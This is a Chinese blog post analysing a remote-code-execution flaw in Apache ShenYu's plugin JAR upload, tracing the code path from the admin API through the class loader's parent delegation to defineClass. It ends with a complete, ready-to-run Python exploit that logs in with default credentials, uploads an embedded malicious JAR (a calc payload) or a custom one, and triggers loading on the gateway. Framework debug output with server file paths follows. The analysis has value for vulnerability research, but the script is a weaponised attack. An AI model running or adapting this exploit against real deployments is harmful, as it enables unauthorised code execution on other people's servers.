乐于分享
好东西不私藏

Apache ShenYu 插件上传RCE

Apache ShenYu 插件上传RCE

    这个系统用我的Agent审计出来的结果其实只有一个jar包上传,然后我之前也发到过类似jar包上传然后类加载的洞,(可以翻一下前边的文章)然后出于敏感就去找,类加载的方法,方法找着了但是没找到触发点,然后问了AI才知道有这么个双亲委派的机制!我让AI写了个漏洞分析,然后我自己跟着捋了两天才捋完。这个洞让我对Java类加载的双亲委派有了具象化的理解。

1. 漏洞概述

    Apache ShenYu 网关提供插件热加载功能,允许管理员通过 Admin API 上传 base64 编码的 JAR 文件作为自定义插件。该 JAR 经由 WebSocket 同步至网关后,由自定义 ClassLoader 直接调用 defineClass() 加载其中的任意字节码,并将实现了 ShenyuPlugin 接口的类自动实例化为 Spring Bean。


2. 攻击链总览

攻击者  │  ├─[1] GET /platform/login?userName=admin&password=123456  │     获取 JWT Token  │  ├─[2] POST /plugin-template  (file = base64 恶意 JAR)  │     创建插件模板,JAR 存入数据库  │     ├─ PluginController.java:128          入口,@RequiresPermissions("system:plugin:add")  │     ├─ PluginServiceImpl.java:310         create()  │     ├─ PluginServiceImpl.java:313         checkFile() — 仅验证包含 ShenyuPlugin 子类  │     └─ PluginServiceImpl.java:316         pluginMapper.insertSelective() — JAR 写入数据库  │  ├─[3] POST /namespace-plugin/{namespaceId}/{pluginId}  │     将插件绑定到命名空间  │     └─ NamespacePluginController.java:142  │  ├─[4] POST /namespace-plugin/syncPluginAll  │     触发全量数据同步,Admin 通过 WebSocket 将 PluginData(含 pluginJar)推送至网关  │     └─ NamespacePluginController.java:221  │  └─[5] 网关自动加载(以下代码在网关 JVM 中执行)        ├─ ShenyuWebHandler.java:256          检测 pluginData.getPluginJar() 非空        ├─ ShenyuWebHandler.java:258          调用 shenyuLoaderService.loadExtOrUploadPlugins()        ├─ ShenyuLoaderService.java:105       Base64.getDecoder().decode() + PluginJarParser.parseJar()        ├─ ShenyuLoaderService.java:107       创建 ShenyuPluginClassLoader        ├─ ShenyuLoaderService.java:108       调用 loadUploadedJarPlugins()        ├─ ShenyuPluginClassLoader.java:91    遍历 JAR 中的类,调用 getOrCreateSpringBean()        ├─ ShenyuPluginClassLoader.java:161   Class.forName(className, false, this) → 触发类加载        │     ↓ JVM ClassLoader 双亲委派机制        │     父 ClassLoader 找不到该类 → 自动回调 findClass()        ├─ ShenyuPluginClassLoader.java:132   ★ defineClass(name, bytes, 0, bytes.length) — 任意字节码加载        ├─ ShenyuPluginClassLoader.java:161   Class.forName() → 触发 static{} 初始化块 → RCE        └─ ShenyuPluginClassLoader.java:176   注册为 Spring Bean → 实例化 → 构造函数执行

3. 代码分析

3.1 入口:插件上传

    入口在 /plugin-template,创建插件模板,JAR 存入数据库。

PluginController.java:128

@RestApi("/plugin-template")publicclassPluginControllerimplementsPagedController<PluginQueryConditionPluginVO> {privatefinalPluginServicepluginService;publicPluginController(finalPluginServicepluginService) {this.pluginService=pluginService;    }@PostMapping@RequiresPermissions("system:plugin:add")publicShenyuAdminResultcreatePlugin(@Valid@ModelAttributefinalPluginDTOpluginDTO) {returnShenyuAdminResult.success(pluginService.createOrUpdate(pluginDTO));    }}

    PluginDTO 中的 file 字段接收 base64 编码的 JAR:

publicclassPluginDTOimplementsSerializable {@NotBlankprivateStringname;@NotBlankprivateStringrole;@NotNull@Min(0)privateIntegersort;@NotNullprivateBooleanenabled;privateStringfile;   // ← base64 编码的恶意 JAR}

3.2 checkFile() 校验形同虚设

    createOrUpdate 判断 id 为空则走 create

publicStringcreateOrUpdate(finalPluginDTOpluginDTO) {returnStringUtils.isBlank(pluginDTO.getId()) ?this.create(pluginDTO) : this.update(pluginDTO);}

    create 方法对 JAR 进行 base64 解码后调用 checkFile() 校验,校验通过后将 JAR 写入数据库。

PluginServiceImpl.java:310

privateStringcreate(finalPluginDTOpluginDTO) {Assert.isNull(pluginMapper.nameExisted(pluginDTO.getName()),"create"+AdminConstants.PLUGIN_NAME_IS_EXIST+pluginDTO.getName());if (Objects.nonNull(pluginDTO.getFile())) {Assert.isTrue(checkFile(Base64.getDecoder().decode(pluginDTO.getFile())),AdminConstants.THE_PLUGIN_JAR_FILE_IS_NOT_CORRECT_OR_EXCEEDS_16_MB);    }PluginDOpluginDO=PluginDO.buildPluginDO(pluginDTO);if (pluginMapper.insertSelective(pluginDO>0) {pluginEventPublisher.onCreated(pluginDO);    }returnShenyuResultMessage.CREATE_SUCCESS;}

    checkFile() 仅检查文件大小和依赖树中是否包含 ShenyuPlugin 相关接口,对 Runtime.exec()ProcessBuilderFileWriter、反射调用、网络连接等危险操作无任何检测。攻击者只需在恶意类中 implements ShenyuPlugin 即可通过全部检查。

PluginServiceImpl.java:371

privatebooleancheckFile(finalbyte[] file) {try {if (file.length>16*Constants.BYTES_PER_MB) {returnfalse;        }Set<String>dependencyTree=JarDependencyUtils.getDependencyTree(file);returndependencyTree.contains(AdminConstants.PLUGIN_ABSTRACT_PATH)||dependencyTree.contains(AdminConstants.PLUGIN_INTERFACE_PATH)||dependencyTree.contains(AdminConstants.LOGGING_PLUGIN_ABSTRACT_PATH);    } catch (Exceptione) {thrownewShenyuException(e);    }}

3.3 绑定命名空间

    插件上传后仅存在于数据库中,需要绑定到命名空间才能被网关加载。

NamespacePluginController.java:142

@PostMapping("/{namespaceId}/{pluginId}")@RequiresPermissions("system:plugin:edit")publicShenyuAdminResultgenerateNamespacePlugin(@PathVariable("namespaceId"finalStringnamespaceId,@PathVariable("pluginId"finalStringpluginId) {returnShenyuAdminResult.success(namespacePluginService.create(namespaceIdpluginId));}

3.4 触发同步

    通过 syncPluginAll 接口触发全量同步,Admin 通过 WebSocket 将 PluginData(含 pluginJar 字段)推送至网关。

NamespacePluginController.java:221

@PostMapping("/syncPluginAll")@RequiresPermissions("system:plugin:modify")publicShenyuAdminResultsyncPluginAll(@Valid@RequestBodyfinalNamespaceSyncDTOnamespaceSyncDTO) {booleansuccess=syncDataService.syncAllByNamespaceId(DataEventTypeEnum.REFRESHnamespaceSyncDTO.getNamespaceId());if (success) {returnShenyuAdminResult.success(ShenyuResultMessage.SYNC_SUCCESS);    } else {returnShenyuAdminResult.error(ShenyuResultMessage.SYNC_FAIL);    }}

3.5 网关加载 JAR → RCE

    网关收到 WebSocket 推送后,ShenyuWebHandler.onPluginEnabled() 检查 pluginJar 是否非空,然后调用 loadExtOrUploadPlugins 加载插件。

ShenyuWebHandler.java:254

privatesynchronizedvoidonPluginEnabled(finalPluginDatapluginData) {LOG.info("shenyu use plugin:[{}]"pluginData.getName());if (StringUtils.isNoneBlank(pluginData.getPluginJar())) {LOG.info("shenyu start load plugin [{}] from upload plugin jar"pluginData.getName());shenyuLoaderService.loadExtOrUploadPlugins(pluginData);  // ← 触发加载    }// ...}

    ShenyuLoaderService.java:93 — 将 JAR 进行 base64 解码,解析后创建 ShenyuPluginClassLoader,然后调用 loadUploadedJarPlugins() 加载插件:

publicvoidloadExtOrUploadPlugins(finalPluginDatauploadedJarResource) {try {List<ShenyuLoaderResult>plugins=newArrayList<>();ShenyuPluginClassLoaderHoldersingleton=ShenyuPluginClassLoaderHolder.getSingleton();// ...PluginJarParser.PluginJarpluginJar=PluginJarParser.parseJar(Base64.getDecoder().decode(uploadedJarResource.getPluginJar()));  // base64 解码ShenyuPluginClassLoaderuploadPluginClassLoader=singleton.createPluginClassLoader(pluginJar);                     // 创建类加载器plugins.addAll(uploadPluginClassLoader.loadUploadedJarPlugins());     // 加载插件loaderPlugins(plugins);    } catch (Exceptione) {LOG.error("shenyu plugins load has error "e);    }}

3.6 defineClass() 加载任意字节码(核心漏洞点)

    loadUploadedJarPlugins() 遍历 JAR 中的所有类,对每个类调用 getOrCreateSpringBean()

ShenyuPluginClassLoader.java:85

publicList<ShenyuLoaderResult>loadUploadedJarPlugins() {List<ShenyuLoaderResult>results=newArrayList<>();Set<String>names=pluginJar.getClazzMap().keySet();names.forEach(className-> {Objectinstance;try {instance=getOrCreateSpringBean(className);  // ← 对每个类触发加载if (Objects.nonNull(instance)) {results.add(buildResult(instance));            }        } catch (ClassNotFoundException|IllegalAccessException|InstantiationExceptione) {LOG.warn("Registering upload-Jar-plugins succeeds spring bean fails:{}"classNamee);        }    });returnresults;}

    getOrCreateSpringBean() 内部调用 Class.forName(className, false, this) 进行类加载。第三个参数 this 指定使用当前 ShenyuPluginClassLoader 作为类加载器。

ShenyuPluginClassLoader.java:149

private<T>TgetOrCreateSpringBean(finalStringclassName) {// ...Class<?>clazz=Class.forName(classNamefalsethis);  // ★ 触发类加载booleannext=ShenyuPlugin.class.isAssignableFrom(clazz)||PluginDataHandler.class.isAssignableFrom(clazz);if (!next) {Annotation[] annotations=clazz.getAnnotations();next=Arrays.stream(annotations).anyMatch(e->e.annotationType().equals(Component.class)||e.annotationType().equals(Service.class));    }if (next) {GenericBeanDefinitionbeanDefinition=newGenericBeanDefinition();beanDefinition.setBeanClassName(className);// ★ 注册 + 实例化 → 触发构造函数StringbeanName=SpringBeanUtils.getInstance().registerBean(beanDefinitionthis);inst=SpringBeanUtils.getInstance().getBeanByClassName(beanName);    }}

关键问题:findClass() 从哪里被调用?

    代码中没有任何地方显式调用 findClass(),它是 JVM ClassLoader 双亲委派机制的自动回调。调用链如下:

Class.forName(className, false, this)              // ShenyuPluginClassLoader.java:161    ↓ JVM 内部调用ClassLoader.loadClass(name)                        // java.lang.ClassLoader(JDK 内置)    ↓ 先委派给父 ClassLoader 尝试加载Parent ClassLoader.loadClass(name)                 // 父加载器找不到 org.apache.shenyu.poc.CalcPlugin    ↓ 父加载器抛出 ClassNotFoundExceptionShenyuPluginClassLoader.findClass(name)            // ★ JVM 自动回调子类的 findClass()    ↓ 从 pluginJar.clazzMap 取出字节码defineClass(name, bytes, 0, bytes.length)          // ShenyuPluginClassLoader.java:132 — RCE

findClass() 是 java.lang.ClassLoader 的标准契约:子类 override findClass() 来定义自己的加载逻辑,当 loadClass() 的双亲委派失败后,JVM 自动回调该方法。

ShenyuPluginClassLoader.java:118

@OverrideprotectedClass<?>findClass(finalStringnamethrowsClassNotFoundException {if (ability(name)) {returnthis.getParent().loadClass(name);    }Class<?>clazz=classCache.get(name);if (Objects.nonNull(clazz)) {returnclazz;    }synchronized (this) {clazz=classCache.get(name);if (Objects.isNull(clazz)) {if (pluginJar.getClazzMap().containsKey(name&&!checkExistence(name)) {byte[] bytes=pluginJar.getClazzMap().get(name);clazz=defineClass(namebytes0bytes.length);  // ★ 直接加载任意字节码,无沙箱classCache.put(nameclazz);returnclazz;            }        }    }thrownewClassNotFoundException(String.format("Class name is %s not found."name));}

    JAR 中的 .class 文件直接传入 JVM defineClass()无 SecurityManager、无字节码白名单、无沙箱限制。类加载完成后 static {} 初始化块立即执行,构造函数在 registerBean() 时执行——两个时机都可触发任意代码。

POC

弹calc的

#!/usr/bin/envpython3"""ApacheShenYu2.7.0.3-PluginJARUploadRCEExploit=====================================================漏洞Admin插件上传接口无字节码校验,通过defineClass() 加载任意类并实例化,恶意static{} 初始化块在网关JVM中执行,实现远程代码执行。攻击链LoginUploadJARBindNamespaceSyncdefineClassRCE用法:#使用内置payload(弹出计算器)python3exploit.py-thttp://target:9095#使用自定义JARpython3exploit.py-thttp://target:9095 -j evil-plugin.jar#指定凭据python3exploit.py-thttp://target:9095 -u admin -p 123456"""importrequestsimportbase64importargparseimportsysimportjsonimporttimeimportrandomimportstring#============================================================#内置PayloadCalcPlugin.java (已编译)##static {#Runtime.getRuntime().exec("calc");#   }##实现ShenyuPlugin接口,通过checkFile() 校验#类加载时static{} 触发,弹出计算器 (calc.exe)#============================================================BUILTIN_JAR_B64="UEsDBBQAAAAIAAliqFyyfwLuGwAAABkAAAAUAAAATUVUQS1JTkYvTUFOSUZFU1QuTUbzTczLTEstLtENSy0qzszPs1Iw1DPg5eLlAgBQSwMEFAAAAAgA/WGoXEXbLhZAAgAApAQAACYAAABvcmcvYXBhY2hlL3NoZW55dS9wb2MvQ2FsY1BsdWdpbi5jbGFzc8VTyW4TQRB97SXjZezEzgKBBBK22Elwf4BNLhZICIeEGCXndruxO7FnrPZMEo58Ax/BhQO5sB34AH6Ev0DUDCPbGCSWCxqpeurpVdWrrq7PXz9+AnAPlQxiiFtI2EhihmHuWJwK3hNOh++1jpX0GGZq2tHeDkO8VD7MIoW0hYyNLGyGims6XAyE7Co+7Crnuc8HPb+jHQI1b4bIfgjUu0I7DJY6V9L3FMOTUiMIHg6MdjrPjOirM9ec8DPV4kNlTpXhzfA4Uq3757JLilS13DBKSM81XLpG8YHf6mkqa/iu67jVFPIMGSl68nvJDOZQsFC0MY8FhsK4tQPf8XSfRGQ6yhs5i6Vy4ycOZV1iSARZg3yXbSzjCgFBHwwbpYmIphe0Up1Msm9cqYbDqoUVhvkxTh2pgaddx8I1hrVf3KIreX3UiYU1hvIf3zXJq7tt6mi2oR312O+3lHkqWj1CXvzDrTf+bsi/mRJDuqk7jvB8Q3pe/m89tYlpHbq6Xd0hhSl6FnumrUz46B8yJB1S1mZY+OGJRAMnfk32oiXJNT0hT3bFILrwTNP1jVQPdODMjkdaCdJgHau0fwzXaRmTdNIOkl0nb5VOFqCb78Au6IfhBtmZEEyRzeImhQbUtWCFA3R76wOsGN5MsYu4RTaG2+TdwUZUYCUqkCjEv7yeilgiW0I5Yl6NmPFibjr1MknZHGmuh70A+feYLS6+xaWjV0g8ugixNGxKFAtj86Fcm7AcfXlskWch1rCIQeTtUO3db1BLAQIUABQAAAAIAAliqFyyfwLuGwAAABkAAAAUAAAAAAAAAAAAAACAAQAAAABNRVRBLUlORi9NQU5JRkVTVC5NRlBLAQIUABQAAAAIAP1hqFxF2y4WQAIAAKQEAAAmAAAAAAAAAAAAAAC2gU0AAABvcmcvYXBhY2hlL3NoZW55dS9wb2MvQ2FsY1BsdWdpbi5jbGFzc1BLBQYAAAAAAgACAJYAAADRAgAAAAA="#ShenYu默认命名空间IDDEFAULT_NS="649330b6-c2d7-4edc-be8e-8a54df9eb385"BANNER=r"""_______________/____|||_\/__|__|\__\||__________|/ (__|_||___/|__|/_\'_ \| | | | |_|_\\___|___||||__/||||_|||_|\___|_||_|\__|PluginJARUploadRCE__/|ApacheShenYu2.7.0.3|___/"""deflog(levelmsg):colors= {"info""\033[94m[*]""ok""\033[92m[+]""err""\033[91m[-]""rce""\033[93m[!]"}print(f"{colors.get(level, '[*]')} {msg}\033[0m")deflogin(urluserpwd):"""Step 1: 登录获取 JWT Token"""log("info"f"Logging in as {user}...")try:r=requests.get(f"{url}/platform/login",params={"userName"user"password"pwd},timeout=10,        )data=r.json()ifdata.get("code"!=200:log("err"f"Login failed: {data.get('message')}")returnNonetoken=data["data"]["token"]log("ok"f"Authenticated — token: {token[:40]}...")returntokenexceptExceptionase:log("err"f"Login error: {e}")returnNonedefget_jar_payload(jar_path):"""读取自定义 JAR 或使用内置 payload"""ifjar_path:log("info"f"Loading custom JAR: {jar_path}")withopen(jar_path"rb"asf:raw=f.read()b64=base64.b64encode(raw).decode()else:log("info""Using built-in payload (pops calc.exe)")b64=BUILTIN_JAR_B64log("ok"f"Payload size: {len(b64)} bytes (base64)")returnb64defupload_plugin(urltokenjar_b64plugin_name):"""Step 2: 上传恶意插件 JAR"""log("info"f"Uploading plugin '{plugin_name}'...")h= {"X-Access-Token"token}r=requests.post(f"{url}/plugin-template",headers=h,data={"name"plugin_name,"role""Test","sort"999,"enabled"True,"file"jar_b64,        },timeout=15,    )data=r.json()ifdata.get("code"!=200:log("err"f"Upload failed: {data.get('message')}")returnFalselog("ok"f"Plugin created: {data['message']}")returnTruedeffind_plugin_id(urltokenplugin_name):"""Step 3: 查找上传插件的 ID"""h= {"X-Access-Token"token}r=requests.get(f"{url}/plugin-template/all"headers=htimeout=10)forpinr.json().get("data", []):ifp.get("name"==plugin_name:pid=p["id"]log("ok"f"Plugin ID: {pid}")returnpidlog("err""Plugin not found after upload")returnNonedefbind_namespace(urltokenns_idplugin_id):"""Step 4: 绑定插件到命名空间"""log("info"f"Bindingnamespace {ns_id[:12]}... → plugin {plugin_id}")h= {"X-Access-Token"token}r=requests.post(f"{url}/namespace-plugin/{ns_id}/{plugin_id}",headers=h,json={},timeout=10,    )data=r.json()ifdata.get("code"!=200:log("err"f"Bind failed: {data.get('message')}")returnFalselog("ok""Namespace bindcomplete")returnTruedeftrigger_sync(urltokenns_id):"""Step 5: 触发全量同步 → 网关加载 JAR → RCE"""log("info""Triggering plugin sync → Gateway will load JAR...")h= {"X-Access-Token"token}r=requests.post(f"{url}/namespace-plugin/syncPluginAll",headers=h,json={"namespaceId"ns_id},timeout=10,    )data=r.json()ifdata.get("code"!=200:log("err"f"Sync failed: {data.get('message')}")returnFalselog("ok"f"Sync success — {data['message']}")returnTruedefverify(gateway_urlplugin_name):"""验证插件是否已在网关加载"""log("info""Verifying plugin loaded on gateway...")time.sleep(3)try:r=requests.get(f"{gateway_url}/actuator/plugins"timeout=5)body=r.textifplugin_nameinbodyor"Evil"inbodyor"Sniffer"inbody:log("ok""Plugin confirmed in gateway plugin chain!")returnTrueelse:log("info""Plugin not yet visible in actuator (may still be loading)")returnFalseexceptException:log("info""Gateway actuator not reachable (normal if different host)")returnFalsedefexploit(args):print(BANNER)admin_url=args.target.rstrip("/")gateway_url=args.gateway.rstrip("/"ifargs.gatewayelseadmin_url.replace("9095""9195")ns_id=args.namespaceorDEFAULT_NSplugin_name=args.nameor ("evilPlugin_"+"".join(random.choices(string.ascii_lowercasek=4)))#Step1Logintoken=login(admin_urlargs.userargs.password)ifnottoken:sys.exit(1)#Step2Preparepayloadjar_b64=get_jar_payload(args.jar)#Step3Uploadifnotupload_plugin(admin_urltokenjar_b64plugin_name):sys.exit(1)#Step4FindpluginIDplugin_id=find_plugin_id(admin_urltokenplugin_name)ifnotplugin_id:sys.exit(1)#Step5Bindnamespaceifnotbind_namespace(admin_urltokenns_idplugin_id):sys.exit(1)#Step6TriggersyncRCEifnottrigger_sync(admin_urltokenns_id):sys.exit(1)#Verifyprint()log("rce""RCE payload delivered!")log("rce"f"calc.exe should have been launched on the gateway host")log("rce"f"Or verify via: curl {gateway_url}/actuator/plugins | grep {plugin_name}")print()verify(gateway_urlplugin_name)#Printsummaryprint()print("="*60)log("ok""Attack chain summary:")print(f"     Admin   : {admin_url}")print(f"     Gateway : {gateway_url}")print(f"     Plugin  : {plugin_name} (ID: {plugin_id})")print(f"     Method  : defineClass() → static{{}} → RCE")print("="*60)defmain():parser=argparse.ArgumentParser(description="Apache ShenYu 2.7.0.3 — Plugin JAR Upload RCE",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""examples:%(prog)s-thttp://target:9095%(prog)s-thttp://target:9095 -j custom-evil.jar%(prog)s-thttp://target:9095 -u admin -p 123456 -g http://target:9195""",    )parser.add_argument("-t""--target"required=Truehelp="Admin URL (e.g. http://target:9095)")parser.add_argument("-g""--gateway"help="Gateway URL (default: replace 9095→9195)")parser.add_argument("-j""--jar"help="Custom malicious JAR path (default: built-in payload)")parser.add_argument("-u""--user"default="admin"help="Admin username (default: admin)")parser.add_argument("-p""--password"default="123456"help="Admin password (default: 123456)")parser.add_argument("-n""--namespace"help=f"Namespace ID (default: {DEFAULT_NS})")parser.add_argument("--name"help="Plugin name (default: random)")args=parser.parse_args()exploit(args)if__name__=="__main__":main()

效果如下:

写到最后的:

    最近在找工作,投了很多的安研和白盒漏洞挖掘,再一次尝试走研究的路,有了一两个面试机会,但是目前都没有回音,不知道我这个菜鸡最终能不能走上那条路。

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-05-11 13:49:33 HTTP/1.1 GET : https://www.yeyulingfeng.com/a/600510.html
  2. 运行时间 : 0.112207s [ 吞吐率:8.91req/s ] 内存消耗:5,175.28kb 文件加载:145
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=1de7f27782adf3f1f6f45dcb4106ddb4
  1. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_static.php ( 6.05 KB )
  7. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/ralouphie/getallheaders/src/getallheaders.php ( 1.60 KB )
  10. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  11. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  12. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  13. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  14. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  15. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  16. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  17. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  18. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  19. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions_include.php ( 0.16 KB )
  21. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions.php ( 5.54 KB )
  22. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  23. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  24. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  25. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/provider.php ( 0.19 KB )
  26. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  27. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  28. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  29. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/common.php ( 0.03 KB )
  30. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  32. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/alipay.php ( 3.59 KB )
  33. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  34. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/app.php ( 0.95 KB )
  35. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cache.php ( 0.78 KB )
  36. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/console.php ( 0.23 KB )
  37. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cookie.php ( 0.56 KB )
  38. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/database.php ( 2.48 KB )
  39. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/filesystem.php ( 0.61 KB )
  40. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/lang.php ( 0.91 KB )
  41. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/log.php ( 1.35 KB )
  42. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/middleware.php ( 0.19 KB )
  43. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/route.php ( 1.89 KB )
  44. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/session.php ( 0.57 KB )
  45. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/trace.php ( 0.34 KB )
  46. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/view.php ( 0.82 KB )
  47. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/event.php ( 0.25 KB )
  48. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  49. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/service.php ( 0.13 KB )
  50. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/AppService.php ( 0.26 KB )
  51. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  52. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  53. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  54. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  55. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  56. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/services.php ( 0.14 KB )
  57. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  58. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  59. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  60. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  61. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  62. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  63. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  64. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  65. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  66. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  67. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  68. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  69. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  70. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  71. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  72. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  73. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  74. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  75. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
